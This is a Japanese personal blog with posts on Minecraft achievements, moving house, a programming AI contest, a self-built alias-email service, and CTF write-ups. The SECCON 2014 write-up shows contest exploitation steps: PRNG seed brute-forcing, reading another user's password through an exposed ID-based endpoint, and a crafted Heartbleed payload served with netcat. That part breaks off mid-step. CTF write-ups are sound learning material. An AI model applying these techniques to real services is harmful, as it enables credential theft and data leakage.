マインクラフト1.8で実績をコンプリートした

ゴールデンウィークに何か目標を持って遊ぼうということで、マインクラフトの実績コンプリートを目指すことにした。 結局、終わったのは5月末になってしまったけど、プレイ時間は78時間だったから、ちょうど良い難易度だったのでは。

マインクラフトとは

公式サイト。 いわゆる箱庭ゲーム。 箱庭ゲームだから好きなように遊べば良いけど、一応ボスを倒すとエンディングが見られる。 Windows版は3000円くらい。 値段分の価値は充分にあるので、とりあえず買って遊ぶべき。

サーバー

PC単体でも遊べるけど、サーバーを立てれば複数人でも遊べる。 公式サイトの説明ではメモリ1GBを確保しろと書いてある。 さくらのVPS 2Gに置いたら処理落ちしたけど、これは同じサーバーの上で仮想マシンを動かしているからで、他に重いものが無ければこれで充分だという印象。 結局、古いPCをサーバーにした。CPUはCore i7 2.8GHz、メモリ12GB。特に問題無く動いた。

会社の人を誘ったがあまり釣れず、ほとんど一人で遊んでいたので、シングルプレイで良かったかもしれない。

実績

Wikiに一覧がある。

4月27日 Taking Inventory

最初の実績。Eを押すだけ。

4月27日 Getting Wood

木を殴るだけ。

4月27日 Benchmarking

作業台を作るだけ。

4月27日 Time to Farm!

クワを作るだけ。

4月27日 Time to Strike!

剣を作るだけ。

4月27日 Time to Mine!

ツルハシを作るだけ。

4月27日 Getting an Upgrade

石のツルハシを作るだけ。

4月27日 Hot Topic

カマドを作るだけ。

4月27日 Cow Tipper

牛を殺して、皮を手に入れるだけ。

4月27日 Monster Hunter

モンスターを殺すだけ。

4月27日 Bake Bread

小麦を栽培して、小麦からパンを作る。

4月27日 Acquire Hardware

鉄鉱石を採掘して、精錬して鉄を手に入れる。 鉄鉱石は海面より深いところにある。

4月27日 Repopulation

牛に小麦を与えて増やす。

4月27日 Delicious fish

クモを倒して糸を手に入れて、釣り竿を作り、魚を釣って、カマドで焼く。

4月27日 DIAMONDS!

ダイヤモンドを採掘する。鉄のツルハシを使わないと、採掘できない。

4月28日 We Need to Go Deeper

ダイヤモンドのツルハシを使って黒曜石を採掘し、ネザーゲートを作って、ネザーに行く。

4月28日 The Lie

ケーキを作る。材料は小麦、砂糖、牛乳、卵。

4月28日 Enchanter

エンチャントテーブルを作る。

4月29日 Into Fire

ブレイズを倒してブレイズロッドを手に入れる。 ブレイズはネザー要塞にしかいないので、ネザー要塞を見つける必要がある。 z軸に沿って生成されるから、z軸方向に進むだけだと運が悪いと見つからない。 ひたすらx軸方向に歩いて、黒いブロックを探す。 溶岩のすぐ上くらいの高さのほうが歩くのが楽だった。 ネザー要塞は危険なので、近くにネザーゲートを作って、通常世界にベッドを置いておくと良い。

4月29日 When Pigs Fly

どこかのチェストの中からサドルを手に入れ、村からニンジンをパクってニンジンをぶら下げた釣り竿を作って、豚を操って高い所から落とす。

4月29日 Local Brewery

ポーション醸造する。 醸造台を作るためにブレイズロッドが必要。

4月29日 Diamonds to you!

誰かにダイヤモンドをあげる。 たまたまログインしていた某氏にあげた。 相手がいなければゾンビにあげても良いらしい。

4月29日 Librarian

本棚を作る。 作った本棚はエンチャントテーブルの近くに置くと、エンチャントテーブルが強化される。

5月2日 Overpowered

金のリンゴ(金インゴットではなく金ブロックのほう)を作る。 金インゴットが72個必要。 金は使い道が無いので、そのうち溜まる。

5月2日 Overkill

一撃でハート9個分のダメージを与える。 ダイヤの剣+力のポーションⅡ+クリティカル(落下中攻撃)でいける。 力のポーションⅡを作るには、ネザーウォート、ブレイズロッド、グロウストーンダストが必要。

5月2日 Sniper Duel

50m以上離れた場所から弓矢でスケルトンを倒す。 こんな感じで目印となる線を引いて、ここより遠くにいるスケルトンを狙った。

5月4日 The End?

エンドに行く。 まずはエンダーマンを倒してエンダーパールを集める。 エンダーマンの出現率が低くてつらい。

エンダーアイで要塞を探す。 正面に投げると後ろに飛んでいったときに見失うので、真下に投げると良い。 以前に作ったツールで要塞の場所を計算できる。100mくらい離れて2個のエンダーアイを投げて、算出された地点に行って同じように2個投げればだいたい見つかる。

エンドポータルにエンダーアイをセットするとき、横着して遠くからセットしようとしたら、エンダーアイを投げた扱いになってしまい泣いた。

5月4日 The End.

エンダードラゴンを倒す。鉄装備+矢100本くらい+ダイヤの剣+ツルハシ+スコップ+土(島から離れた場所にポータルができたときと、高い所にあるエンダークリスタルを狙う用)で行けた。エンダーマンは水で沈静化するより、倒してしまったほうが早いと思う。

5月4日 Return to Sender

ガストをガストの炎で倒す。 タイミングが難しいけど、1回当てれば倒せるので何とかなる。

5月6日 The Beginning?

ウィザーを出現させる。 ウィザーの出現に必要なウィザースケルトンの頭を3個集めるのがつらかった。 そもそも出現率が低い上に、レアドロップ……。 ネザー要塞を暗くしてウロウロした。 回廊の上にも湧く。

5月6日 The Beginning.

ウィザーを倒す。 ブランチマイニングした穴の奥で出現させると簡単らしい。 が、地下峡谷の近くで出現させたら明後日の方向に行ってしまった。 どうしようもないので、ズルだが、セーブデータをバックアップから戻した。 ウィザーが逃げた場合にズルしないで対処するにはどうしたら良いのだろう……。

5月9日 On A Rail

トロッコで1km移動する。 レールを1000本作るためには鉄インゴットが375個必要。 バイオーム探しのついでに廃坑が見つかると、だいぶ線路が稼げる。

5月9日 Beaconator

ビーコンを最大出力にする。 鉄や金のインゴットが1476個(=23スタック)必要。 ブランチマイニングで採掘せずとも、バイオーム探しの途中で見つけた洞窟や渓谷の中に入って、壁に見えている鉱石を掘ると溜まる。

5月26日 Adventuring Time

これが一番大変だった。 ゲーム中の説明では全てのバイオームの発見だが、実際はここに載っている次の36個のバイームで良い。Ice Plains SpikesやSunflower Plainsは見つけなくても良い。

  • Beach
  • Birch Forest
  • Birch Forest Hills
  • Cold Beach
  • Cold Taiga
  • Cold Taiga Hills
  • Deep Ocean
  • Desert
  • Desert Hills
  • Extreme Hills
  • Extreme Hills+
  • Forest
  • ForestHills
  • FrozenRiver
  • Ice Mountains
  • Ice Plains
  • Jungle
  • Jungle Edge
  • Jungle Hills
  • Mega Taiga
  • Mega Taiga Hills
  • Mesa
  • Mesa Plateau
  • Mesa Plateau F
  • Mushroom Island
  • MushroomIslandShore
  • Ocean
  • Plains
  • River
  • Roofed Forest
  • Savanna
  • Savanna Plateau
  • Stone Beach
  • Swampland
  • Taiga
  • Taiga Hills

同じ場所を探してしまうと無駄なので、地図を作ってウロウロする。 ジャングル、メガタイガ、メサ、マッシュルームアイランド以外はすぐに見つかる。 Beaconatorを達成して鉄鉱石が不要になったら、あとは海を進んだほうが安全。 マッシュルームアイランドは島だから海にしかない。 その他のレアバイオームは大きいので、1km間隔くらいで歩けば良さそう。 このくらい歩いてようやく全部見つかった。 マッシュルームアイランドとジャングルはこの中に2個ある。

ステータス

world\statsの中にJSON形式で、現在のプレイ時間などが書かれている。 Chromeの開発者ツールに、 x = に続けて貼り付けると見やすくなる。

プレイ時間は、stat.playOneMinuteで、OneMinuteと書いてあるけど実際はtick(1/20秒)単位らしい。 72000で割ると時間になる。

走った距離(stat.sprintOneCm)は11501929cm(=115km)で、死んだ回数(stat.deaths)は230回だった。 ゾンビ豚に殺されまくった。

地図の公開

全実績を達成したので、Minecraft Overviewerを入れてみた。 Googleマップのように眺められて面白い。

http://sanya.sweetduet.info/minecraft/

全領域を事前にレンダリングするらしく、このマップで所要時間とファイルサイズは、3時間と11GBくらいだった。 PC2台が点けっぱなしだと部屋が暑いので、そのうち消す。

Plaid CTF 2015 ECE's Revenge2 Write-up

1問だけ解いた。

http://play.plaidctf.com/files/final_8ce2c1db4ce9e96bcc859ded79fba21c.sv

SystemVerilogのコード。最終的にwinが1となるような入力を求めよという問題。

実際にシミュレータで動かせれば楽だったけど、いくつかシミュレーターを試しても動かなかったので、手で解いた。

問題のコードを次のように直す。

  • part_aからpart_dの中身を呼び出し元に展開
  • if (定数) となるif分を削除
  • reset_Lを~resetにというように、単にassingされている変数を置き換えていく
  • s_lとs_hはis_lの下位ビットと上位ビットなので、is_lに置き換え
  • IMO1-IMO4を使った処理は、 assign im_f = user_in[is_i] と等価

こうなる。

`default_nettype none
module testbench;
   logic clock, win;
   logic [9:0] counter;
   logic [31:0] user_in;

   datapath d(.*);

   initial begin
      clock = 0;
      // Fill in the constant such that when the circuit hits cycle 360, 
      // the logic "win" should be high. 
      user_in = 32'b????????????????????????????????;
      reset = 1;
      #5 clock = ~clock;
      #5 clock = ~clock;
      #5 clock = ~clock;
      reset <= #1 0;
      for(counter = 0; counter < 70; counter++) begin
        #5 clock = ~clock;
      end

   end
   
endmodule : testbench

module datapath(
    input logic clock
    input logic [31:0] user_in,
    output logic win);

   logic [3:0] r1_out, r2_out;
   logic i_g_o, reset, init;
   logic init_delay;
   logic [7:0] is_i;

   always @(posedge clock) begin
    if (reset)
      is_i <= 0;
    else begin
      is_i <= ~init ? (is_i + 1) : is_i;
    end
  end

  always_ff @(posedge reg_en, posedge reset) begin
     if(~reset) begin
       r1_out <= r1_out + r2_out + init_delay;
     end
     else
       r1_out <= 0;
   end
   
   always_ff @(posedge ~reg_en, posedge reset) begin
     if(~reset) begin
       r2_out <= r1_out + r2_out + init_delay;
     end
     else
       r2_out <= 0;
   end
   
   always_ff @(posedge clock, posedge reset) begin
     if(~reset) begin
       i_g_o <= i_g_o | user_in[is_i]^{r2_out, r1_out}[is_i[2:0];
       init <= 0;
       win <= win | (~(i_g_o | user_in[is_i]^{r2_out, r1_out}[is_i[2:0]) & (is_i == 8'b00011111));
       init_delay <= init;
     end
     else
       i_g_o <= 0;
       init <= 1;
       win <= 0;
       init_delay <= 0;
   end
   
   assign reg_en = init | is_i[2];

endmodule: datapath

ハードウェアなので、上から順番に実行ではなく、 assign で繋がれている所は代入元が変化したら代入先も常に変化する。 <= の代入も上から順番ではなく、上の @ のところに書かれているタイミング(posedge xx が0から1になった瞬間)に同時に起こる。

このプログラムが結局何をしているかというと、 reset が1のときに初期化し、以降は clock が変化する度に is_i をカウントアップし、 user_inis_i ビット目が {r2_out, r1_out}[is_i[2:0]] に等しいかを調べている。 r1_outr2_outreg_en が変化したタイミングで足しあわされる。

よって、次のPythonプログラムで、 user_in に入れるべき値が分かる。

answer = []

r1_out = 0
r2_out = 0
reg_en_prev = 1
init_delay = 1

for i in range(32):
    answer += [(r2_out<<4|r1_out)>>(i&7)&1]

    a_out = r1_out + r2_out + init_delay
    init_delay = 0
    reg_en = i>>2&1
    if reg_en_prev==0 and reg_en==1:
        r1_out = a_out
    if reg_en_prev==1 and reg_en==0:
        r2_out = a_out
    reg_en_prev = reg_en

print "".join(map(str, answer[::-1]))
01111100101110000001010000010000

引っ越し2015

社員寮(借り上げマンション)に住んでいたけど、退寮期限が来たので引っ越した。実家 → 大学の寮 → アパート → 社員寮 → 今のマンション、と引っ越しているので、自分で引っ越し先を探すのは2回目。

日程

クリーニングとかがあるから2月末には社員寮を出ないといけなかった。

  • 2014年10月末 同期が不動産屋に行くというので一緒に行ってみる
  • 2014年12月末 そろそろ決めないとマズいかと思い、不動産屋へ。資料をもらったけど、内見には年明けに行くと言ったら、状況が変わっているかもしれないので年明けにまた考えましょう、と。すぐに内見に行かないと意味が無いらしい。
  • 2015年1月10日 内見に行く
  • 2015年1月11日 そのうちの1部屋に決めて、話を進めてくれと連絡
  • 2015年1月16日 審査が通ったとの連絡
  • 2015年1月26日 契約。契約書ができあがるのが26日なので、26日以降でと言われた
  • 2015年1月31日 契約開始日。この日以降にはできないと言われた。
  • 2015年2月1日 引っ越し業者に申込み
  • 2015年2月18日 引っ越し

契約開始日から引っ越しまで間があるのは退寮手続きの関係でどちらにいても金が変わらないことと、引越しの荷造りのため。1か月もあれば余裕で引っ越せるっぽい。むしろ契約開始を遅らせられないので、引っ越し元を出る日が決まっているなら、早すぎるとかえって損しそう。とはいえ、同期は1か月くらいあちこち見て回っていたけど。

仙台はだいたいどこも敷金2か月礼金1か月だったけど、東京は物件によってマチマチ。敷金無し礼金無しもけっこうあった。不動産屋が言うには、年明けくらいになると物件が増えてきて、需要も増え、敷金とか礼金とかも高くなってくると。

だいたいどこも退去時にクリーニング費用を借り主が払う特約が付いているらしい。礼金に含めてほしい。

連帯保証人ではなく、保証会社必須のところがほとんどだった。保証会社に払う金は家賃の40%から100%くらいで、安い会社だと審査が厳しいのでクレジットカードを滞納したことがあったりすると、落ちるらしい。

部屋選び

立地

東京なんだしどこに住んでもスーパーとか本屋くらいはあるだろうと思って、会社からの距離だけを考えていたけど、意外と周囲の店が何も無かった。小さなスーパー(マイバスケット)くらい。休日の食事とかに困るのでもう少し考えるべきだったかもしれない。とはいえ困るのは休日くらいで、平日は会社にすぐ行けて楽なので、あまり後悔はしていない。

設備

敷地内ゴミ捨て場、BSアンテナ、Bフレッツ(できればLAN配線)、宅配ボックスが欲しかった。ちょっと高めの物件を見ていたので、このくらいは全部付いているかと思ったら意外と無いところも多かった。

内見して壁の端子にLANポートがあるからLAN配線だと思ったら、LAN配線はあるけど使っていないとのことでVDSLだった。ひどい。無料インターネットはショボいと何となく思っていたけど、回線速度も速くて、グローバルIP複数使えたりするところもあるらしい。インターネットのことを不動産屋に聞いても分からなそうだし、どうやって見分ければ良いのだろう。

風呂が狭くなった。風呂に入る分には構わないけど、浴室乾燥を使うときにちょっと窮屈。独立洗面台なんて要らないと思って、無い部屋にしたけど、あったらあったで便利だった。

大学の寮はエレベーター無しの5階、アパートは1階、社員寮は2階で主に階段を使っていたので、日常的にエレベーターを使うのが実は初めて、けっこう面倒くさい。高層階の外廊下がとても怖かったけど、1週間くらいで慣れた。そもそも普段は下を覗き込むことがない。

手続き諸々

電気の手続きが最後のほうだからあまり使わなかったけど、東京電力引越れんらく帳が便利そうだった。電気と水道は使える状態になっているので、引っ越してから手続きしても大丈夫だけど、ガスは開栓手続きが必要なので事前に連絡しておかないとまずい。インフラの手続きは領収書に書いてある番号があればインターネットでできるので、引っ越し前は領収書を取っておくべきだった。

Amazonの予約商品の住所変更を忘れると、前の住所に届いてしまうので危険。

東京都内だからテレビのチャンネルはそののままで良いかと思ったら、Tokyo MXのチャンネルが変わっていて、録画に失敗した。良く分かっていないけど、マンションの屋上にアンテナが付いているのではなく、ケーブルテレビで受信していて、ケーブルテレビがチャンネルを変更しているとかだろうか……。

その他

荷物が段ボール箱だけで60箱くらいあった。主に本。次に引っ越す時までに減らそう……。段ボール箱が急いで必要なときは、ヤマトの営業所に行くと売ってくれる。高いけど2重のしっかりした段ボール箱。

社員寮にポスターレールが付いていて、せっかくだからとポスターを掛けておいたら、ポスターフレームの裏が黒ずんでいて、壁紙の張り替え費用を請求されそうだった。ポスターフレームの台紙が発泡スチロールのような素材だったので、静電気でホコリを引き寄せたとかだろうか……。

住基カードのQRコード

確定申告のために10年ぶりに住基カードを取得した。QRコードが付いていたので、試しに読み取ってみたら、生年月日(元号の下2桁+月+日)が書かれていた。

住基カード」でイメージ検索をしてみると、カードに印字されている生年月日は塗りつぶしているのに、QRコードはそのままの人がいる。一応消しているけど、消し方が甘い人もいる。QRコードの訂正能力ならかなり潰しても情報は読み取れそう。

住基カードをネットに晒してしまう人が悪いのか、個人情報をぱっと見では分からない形(QRコード)にして印刷するほうが悪いのか……。

ちなみに、生年月日がQRコードに入っている理由は次の通りらしい。

QRコードは、券面事項をICチップに記録したカードであることが見て分かるように印刷されています。QRコードとICチップ内の情報の組み合わせにより、年齢確認が可能であり、年齢別の優待割引など将来的に様々な分野での利用拡大も期待されています。

http://juki-card.com/about/

何を馬鹿なことを言っているのだという気がするけど、良く考えてみると、ありな気もしてくる。詳しくない人が、QRコードの無いカードとあるカードを見せられて、「どちらにICが入っているでしょう?」と訊かれたら、QRコードのあるほうを指さしそう。自治体によっては非接触式のみで、金色の端子が無いところもあるらしい。

とはいえ、ICチップ入りを見分けるためなら「ICカード」って書いておけば済む話だし、年齢確認も住基カードで本人確認をするのなら印字されている生年月日を見れば良いし、何か他にも理由がありそう。

CODE VS 4.0

CODE VS 4.0に参加した。27位、70点、6145ターン、102714ms。ターン数まで同じになることがほぼ無いので、意味が無いけど、思考時間はランキングに載っている100人の中でyosupoさんに次いで2位。

f:id:kusano_k:20150210002054p:plain

プレイ動画

ソース

https://bitbucket.org/kusano/codevs4/src

戦績

周回 chokudaAI colunAI gelb grun lila rosa schwarz zinnober silber
1
2
3 ×
4 × ×
5 × × ×
AIの概要

速攻型。資源マスの上にワーカーを置きつつ、ワーカーを1体右下に向かわせる。100ターンを超えたらワーカーの作成を控えて拠点を作る。拠点から戦闘ユニットを出して敵の城を探索し、敵の城に向かって戦闘ユニットを固めて送り込む。

資源マスの探索

9マスずつ間を開けてワーカーを走らせ、虱潰しに探す。資源マスを見つけたワーカーは資源マスに向かわせて、資源を確保する。最初は用が済んだワーカーは探索に戻っていたが、後から見つけた資源にワーカーを置く余裕が無かったので、止めた。

資源マスの確保

資源マスには5体までワーカーを置く意味がある。城や近くの村から送る手と、最初のワーカーが村を作り村でワーカーを作る手がある。どちらが得かは資源の距離と現在の生産量による。面倒なのでプログラムでシミュレートして、どこの資源に村を作るかあるいは作らないかを判断するようにした。ソースコード中のbuildVillage。資源ではないところに村を作るのが最善になることもありそうだけど、誤差でしょう。

拠点作成用ワーカー

最初から右下に向かって拠点を作ることを目指すワーカー。最初は専用のワーカーを使わず、たまたま一番右下にいるワーカーを使っていたが、専用のワーカーを用意した方が強かった。一応、敵を躱しながら移動するが、敵に追いやられて明後日の方向に行くことがあったので、ほとんど右か下かを選ぶだけ。

敵の城の探索

拠点から敵の城が存在する可能性のあるエリアの端に向けて戦闘ユニットを送る。最初は敵の城が見つかるまで送り続けていたが、各方向に1体だけ送るようにして、後は城が見つかるまでとりあえず右下に向かって攻撃部隊を送るようにした。たいていは敵の城を見つけられる。失敗して攻撃が遅れた例はプレイ動画のステージ20。

敵の城の攻撃

敵のユニットの攻撃範囲に味方のユニットが複数いるとダメージが分散されるので、固めたほうが強い。ルールに10体以上は10体とみなすとあるので、1マスには10体まで。10体, 20体, 30体と作る度に50体まで増やす。最初は、10体×2マスと、20体×1マスは同じことだと思っていたが、chokudaiさんの放送を見ていて、ルールでは「攻撃範囲に10体」ではなく「1マスに10体」だったと気が付いた。↓のツイートは嘘ではない。

味方の戦闘ユニットの攻撃範囲の敵は少ない方が良いので、戦闘ユニットの中心を敵の城に重ねるのではなく、攻撃範囲の先端が敵の城に当たるようにしている。

戦闘ユニットの種類を考えようと思ったが、grunがこちらの苦手なユニットを出してきたりして面倒なので、ランダムに生成している。

資源マスの奪取

発見済みで味方ユニットがいない(=敵に占拠されている)資源に、ときどきアサシンを送っている。

味方の城の防御

敵が近づいてきたらワーカーを生成する。戦闘ユニットに比べれば弱いけど、無いよりはだいぶマシになる。

反省

上位陣の多くがそうなので、資源の確保をちゃんとするべきだった。そのためには味方の城を一定期間守る必要があるので、拠点は城の上に作るべきだった。何となく守ってもじり貧かと思っていたけど、資源をちゃんと確保すれば守り切れるらしい。

他の人がやっていてなるほどと思ったこと

予想外の攻撃を受けたら近くに城がある。受けなかったら城が無い。ダメージを与えた敵が与えたと同時に死ぬ場合があるので、一工夫必要ではあるらしい。村の視界もちょうど10マスなので次のターンで村を作れば確実。上位陣にとっては当たり前だったらしく、誰も探索用のユニットをばらまいたりしていなかった。

敵AIによる思考ルーチンの切り替え。やはりこれをしないと全勝は厳しいらしい。拠点の場所などを見る手もあるけど、IDが全体を通して連番ということから敵のAI作成数が分かり、そこから推測できると。

(ルール変更前の)CODE VS 4.0 - ustimawのブログ

ステージごとの学習。ステージごとにプログラムが起動されるわけではないので、ステージごとの初期化を忘れてバグるたびに、何でプログラムが動き続ける仕様なんだと愚痴っていた。本戦で最初のステージで敵が速効だと分かったら対策をすると言っている人がいて、なるほどと思った。予選でも、あるAIが出てきたら次からは推測の候補から外すとかできるのかもしれない。

村による城の防御。全く思いつかなかった。スペック表を良く見たら、どう考えても城のほうが優秀だった。「【特徴4】 城の上に村が乗る!前代未聞!」という煽り文句をただのネタだと思っていたが、重要なヒントだったのか……。

大量のメールアドレスを発行可能なウェブサービスを作ってみた

Boids Mail

使ってみてくれるとありがたいけど、明日サービス中止から全メール流出まで何が起こるか分かりません。

f:id:kusano_k:20141230190118p:plain:w480

作ろうと思った経緯とこのサービスの使い道

迷惑メールがうざい。

インターネットができた当初の牧歌的な時代ならともかく、私のアドレスを知っているだけで世界中の誰もが私にメッセージを送れる、電子メールというシステムが時代遅れなのだと思う。TwitterのDMやLINEなどたいていのコミュニケーションツールは受信を許可した相手しかメッセージは送れないし、後から許可を取り消すことができる。とはいえ、これらの新しいコミュニケーションツールは公開されたプロトコルではなく、どこかの会社のサービスなので、限られた人とのやり取りには使えても、ウェブサービスに登録するときなどはあと10年は電子メールを使い続ける必要がありそう。

Gmailでは、(元のアドレス)+(任意の文字列)@gmail.comという形式でメールアドレスを増やせるけれど、元のアドレスがバレバレだし、+が登録できないサイトも多い。元のアドレスと無関係なエイリアスを発行できるサービスは発行できる個数が少なく、登録するサイトごとに別のメールアドレスを使うということはできない。

Gmail のエイリアスは個人情報漏洩対策にならないからやめとけっていう話 | WWW WATCH

Gmailで何とかしようと思うと、登録するサービスごとに元のアドレスに付加する文字列を決めて、それらのアドレス宛の場合は通し、それ以外のアドレスに届いたメールを捨てる必要があって、ちょっと面倒。

ということで、ワンクリックで大量にエイリアスを発行できるサービスがあれば便利なのではと思って、作ってみた。

技術的な詳細

postfixSMTPサーバー)とdovecot(POPサーバー)にデータベースからアカウントを引く機能があったので、それを使っている。あとはPlay Frameworkによるフロントエンドがそのデータベースを弄っているだけ。

postfix

main.cf

queue_directory = /var/spool/postfix
command_directory = /usr/sbin
daemon_directory = /usr/libexec/postfix
data_directory = /var/lib/postfix

mail_owner = postfix

myhostname = boids.info
mydomain = boids.info

inet_interfaces = all
inet_protocols = all
mydestination =

home_mailbox = Maildir/

debug_peer_level = 2
debugger_command =
         PATH=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin
         ddd $daemon_directory/$process_name $process_id & sleep 5

virtual_mailbox_domains = boids.info
virtual_mailbox_base = /var/mail/vhosts
virtual_mailbox_maps = mysql:/etc/postfix/mailbox_map.cf
virtual_minimum_uid = 10000
virtual_uid_maps = static:10000
virtual_gid_maps = static:10000
virtual_mailbox_limit_maps = static:100000000
virtual_mailbox_limit_inbox = no
virtual_mailbox_limit_override = yes
virtual_maildir_extended = yes
virtual_overquota_bounce = yes
virtual_maildir_limit_message = "User over quota, try again"
virtual_trash_count = yes
virtual_trash_name = ".Trash"
message_size_limit = 10000000

mailbox_map.cf

user = postfix
password = xxxxxxxxxxxxxxxx
dbname = boids
query = SELECT concat(mailbox, '/') FROM user INNER JOIN address ON user.id=address.user WHERE concat(address.address, '@boids.info')='%s' and address.active!=0

%sにメールアドレスが入った状態でデータベースを引いて、メールを格納するディレクトリが出てくれば良い。Maildirでメールボックスのサイズを制限するにはパッチを当てる必要があって、ちょっと面倒だった。

[CentOS6] Postfixによるメールサーバ構築 その1 (PostfixをSRPMからリビルド) | CentOSサーバ構築術 文具堂

dovecot

dovecot.conf

protocols = pop3
disable_plaintext_auth = no
ssl = yes
ssl_cert = </etc/ssl/certs/boids.info.pem
ssl_key = </etc/ssl/certs/boids.info.pem
mail_location = maildir:%h
auth_mechanisms = plain apop cram-md5
passdb {
  driver = sql
  args = /etc/dovecot/sql.conf.ext
}
userdb {
  driver = prefetch
}

sql.conf.ext

driver = mysql
connect = host=localhost dbname=boids user=dovecot password=xxxxxxxxxxxxxxxx
password_query = SELECT \
    concat('{PLAIN}', pop_password) as password, \
    concat('/var/spool/mail/vhosts/', mailbox) as userdb_home, \
    'vuser' as userdb_uid, \
    'vuser' as userdb_gid \
    FROM user WHERE pop_id = '%u' and active!=0

%uにユーザー名が入った状態でデータベースを引いて、password, home, uid, gidが出てくれば良い。userdbでdriver = prefetchとするとパスワードとユーザー情報の問い合わせがまとめられて1回になるらしい。その場合、home, uid, gidにuserdb_を付ける必要がある。嵌まった。

サーバーもドメインも他と一緒にしないで、別に買った。金額は全部税込み。

サーバー 11,664円/年

+初期費用が1,620円。さくらのVPS 1G。1年分まとめて払えばちょっと安くなるけど、1年も続けるか分からないので、月払いにしている。

ドメイン 1,080円/年

VALUE DOMAIN、上位レジストラはKeySystems、.info。

証明書 1,300円/年

どうせなので、HTTPSにして、POPもTLSを使えるようにした。SSLストアRapidSSLを買った。

ロゴの後ろの鳥の写真 0円

pixabayというサイトで探した。ありがとうございます。shutterstockの有料の画像が広告として出てくるので注意。

まとめ

Gmailにこの機能が付いてくれ(人∀・)タノム

追記

捨てアドブラックリストに入れられちゃうオチなんだよなあ

http://b.hatena.ne.jp/enkunkun/20141230#bookmark-237680291

なるほど……。

同じサービスがすでにあると教えてもらった(´・ω・`) POPでの受信こそできないけどアプリがあるから困らなそうだし、メールの送信もできる。

https://m.kuku.lu/

追記2

自分ですら使わなかったので閉鎖した。本当はメインのメールアドレスとして使いたかったけど、も数年間維持できるか分からないし、そうなると捨てアドくらいにしか使えない。

ソースコードhttps://github.com/kusano/boids

SECCON 2014 オンライン予選(英語)Write-up

SECCON 2014 オンライン予選(英語)

2600点。全国大会に行けるのか微妙な順位だな……。

Welcome to SECCON (Start, 100)

SECCON{20141206}

Easy Cipher (Crypto, 100)

2, 8, 10, 16進数の数字が並んでいる。

A = "87 101 … 0156 33"
A = A.split()
B = ""
for a in A:
    if any(c in a for c in "abcdef"):
        b = 16
    elif a[0]=="0":
        b = 8
    elif len(a)>4:
        b = 2
    else:
        b = 10
    B += chr(int(a, b))
print B
Welcome to the SECCON 2014 online CTF.The SECCON is the biggest hacker contest in Japan.Oops, you want to know the flag, don't you?Here you are.SECCON{W31C0M 70 7H3 53CC0N ZOIA}Have fun!
SECCON{W31C0M 70 7H3 53CC0N ZOIA}

Decrypt it (Easy) (Crypto, 200)

解けなかった。

プログラムと暗号化したファイルが与えられる。暗号化は、srand(time(NULL))して各バイトとrand()%256をxor。拡張子からPNGファイルだと分かるので乱数の種を総当たり。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    int t = time(NULL);
    while (true)
    {
        t--;
        srand(t);
        if ((0x89^(rand()%256))==0x34 &&
            (0x50^(rand()%256))==0x70 &&
            (0x4e^(rand()%256))==0xf0 &&
            (0x47^(rand()%256))==0x2d)
        {
            printf("OK\n");
            break;
        }
    }
    srand(t);
    FILE *in = fopen("ecrypt1.bin", "rb");
    FILE *out = fopen("crypt1.png", "wb");
    for (int i=0; i<0xb3a5; i++)
        fputc(fgetc(in)^(rand()%256), out);
    fclose(in);
    fclose(out);
}

この画像が出てくる。

f:id:kusano_k:20141207172658p:plain

pとqの桁数なら総当たりができるので、mod pとqに対してMを求めて、中国人剰余定理を使えば良い。

def sub(c,b,n):
    for i in range(n):
        if i*(i+b)%n==c:
            return i

def exgcd(x,y):
    r0,r1 = x,y
    a0,a1 = 1,0
    b0,b1 = 0,1
    while r1>0:
        q1 = r0/r1
        r2 = r0%r1
        a2 = a0-q1*a1
        b2 = b0-q1*b1
        r0,r1 = r1,r2
        a0,a1 = a1,a2
        b0,b1 = b1,b2
    return a0,b0,r0

def solve(N,B,C):
    p = 2
    while N%p!=0:
        p += 1
    q = N/p
    
    a1 = sub(C%p,B%p,p)
    a2 = sub(C%q,B%q,q)
    
    x,y,_ = exgcd(p, q)
    M = (a1+(a2-a1)*x*p)%N
    
    assert(M*(M+B)%N == C)
    
    return M

m1 = solve(0xB8AE199365, 0xFFEEE, 0x8D5051562B)
m2 = solve(0xB86E78C811, 0xFFFEE, 0x5FFA0AC1A2)
m3 = solve(0x7BD4071E55, 0xFEFEF, 0x6008DDF867)

print hex(m1)
print hex(m2)
print hex(m3)

答えは、M=6568C65128, M=865609C5EE, M=19A297DFE9。この後どうして良いのか分からない。SECCON{6568C65128865609C5EE19A297DFE9}は不正解だった。

Decrypt it (Hard) (Crypto, 300)

手を付けていない。

Ms.Fortune? Misfortune. : 4096-bit RSA (Crypto, 400)

手を付けていない。

Shuffle (Binary, 100)

FLAGをシャッフルして出力するプログラムらしい。0x804854bあたりがシャッフル前のフラグを設定する処理。

SECCON{Welcome to the SECCON 2014 CTF!}

Reverse it (Binary, 100)

ファイルを逆に読んで、各バイトの上位4バイトと下位4バイトを交換するとJpegになる。

def f(c):
    t = ord(c)
    return chr(t>>4|t<<4&0xf0)
x = open("Reverseit","rb").read()
open("ans.jpg","wb").write("".join(map(f, x[::-1])))
SECCON{6in_tex7}

Let's disassemble (Binary, 200)

解けなかった。

指定されたポートに繋ぐと、16進数が出題される。x86ではないらしい。

Advanced RISC Machine (Exploit, 200)

手を付けていない。

ROP: Impossible (Exploit, 500)

手を付けていない。

Holy shellcode (Exploit, 400)

手を付けていない。

Japanese super micro-controller (Exploit, 500)

手を付けていない。

jspuzzle (Web, 100)

alertするJavaScriptになるように、穴埋めする。

({"function" :function(){
    this[ "null" ] = (new Function( "return" + "/*^_^*/" + "this" ))();
    var pattern = "^[w]$";
    var r = new RegExp( pattern );
    this[ r[ "exec" ]( pattern ) ][ "alert" ]( 1 );
}})[ "Function"[ "toLowerCase" ]() ]();

変数に設定してあとから読み出すところが2箇所あるけど、同じ単語を2回は使えないので何とかする必要がある。

REA-JUU WATCH (Web, 200)

ブラウザ上で選択肢を選んでいく。最後に点数をhttp://reajuu.pwn.seccon.jp/users/chk/:idからJSONで取得している。http://reajuu.pwn.seccon.jp/users/chk/1にアクセスすると、

{"username":"rea-juu","password":"way_t0_f1ag","point":99999}

が出てくるので、これでログイン。

SECCON{REA_JUU_Ji8A_NYAN}

Bleeding "Heartbleed" Test Web (Web, 300)

Hertbleedのスキャナーが置いてある。試験結果はデータベースに保存するらしい。

16 03 02 00 01 0e 18 03 02 00 ff 61 61 61 61 61
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
61 61 …

こんなファイルを用意して、

nc -l 1234 < attack.bin

